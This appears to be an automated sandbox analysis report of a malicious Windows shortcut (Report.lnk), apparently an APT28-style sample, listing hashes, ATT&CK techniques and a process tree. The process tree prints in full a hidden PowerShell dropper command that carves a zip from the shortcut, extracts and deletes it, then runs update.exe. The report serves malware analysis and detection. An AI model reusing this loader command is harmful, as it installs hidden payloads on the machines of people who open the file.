ed6a6e1bfacaa0d18f44616342463cc6702a80d24ea1b7750f0b4305dade2673

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
19/11/2024, 11:26

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General

Target

APT28/2-Execution/lnk/Report.lnk
Size

204KB
MD5

ef4579d6e1e665056bc593ecbad1e473
SHA1

de45b08deb1cccf50215a1318d83adf39d67f257
SHA256

37d7f927abcd4d1bf617e8279b8b8d7c8b14abec089e856faa6ffe36937c4e16
SHA512

3ad5ef1e96a97009726322384a497ffedd5c48f6fc64ce7349adeabc99156f54df510f9cb5a5f49bc0d8b6a32a994756ea9b02f6dbff78f6ed2c7cc057d9d230
SSDEEP

3072:J6LpD98Rr6vKDHJX0DPlHoPUBXgWXGMpgE6oLV2ISgA+4pOyB3yF3vxskk1GovNB:w4HhglHoyX8E6+V4gp9yBi3vxsXRb

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2596	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 2772	2008	cmd.exe	31
PID 2008 wrote to memory of 2772	2008	cmd.exe	31
PID 2008 wrote to memory of 2772	2008	cmd.exe	31
PID 2772 wrote to memory of 2596	2772	cmd.exe	32
PID 2772 wrote to memory of 2596	2772	cmd.exe	32
PID 2772 wrote to memory of 2596	2772	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\APT28\2-Execution\lnk\Report.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $obf_lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 00209578} ^| Select-Object -ExpandProperty FullName;$obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath);$obf_path = 'C:\Users\Admin\AppData\Local\Temp\tmp'+(Get-Random)+'.zip';$obf_path = [Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir = [System.IO.Path]::GetDirectoryName($obf_path);[System.IO.File]::WriteAllBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA SilentlyContinue -Force ^| Out-Null;Remove-Item -Path $obf_path -EA SilentlyContinue -Force ^| Out-Null;^& .\update.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden $obf_lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 00209578} | Select-Object -ExpandProperty FullName;$obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath);$obf_path = 'C:\Users\Admin\AppData\Local\Temp\tmp'+(Get-Random)+'.zip';$obf_path = [Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir = [System.IO.Path]::GetDirectoryName($obf_path);[System.IO.File]::WriteAllBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA SilentlyContinue -Force | Out-Null;Remove-Item -Path $obf_path -EA SilentlyContinue -Force | Out-Null;& .\update.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2596-40-0x000007FEF6EFE000-0x000007FEF6EFF000-memory.dmp

Filesize
4KB

Download
memory/2596-41-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-43-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2596-42-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2596-44-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-45-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-46-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-50-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

Filesize
9.6MB

Download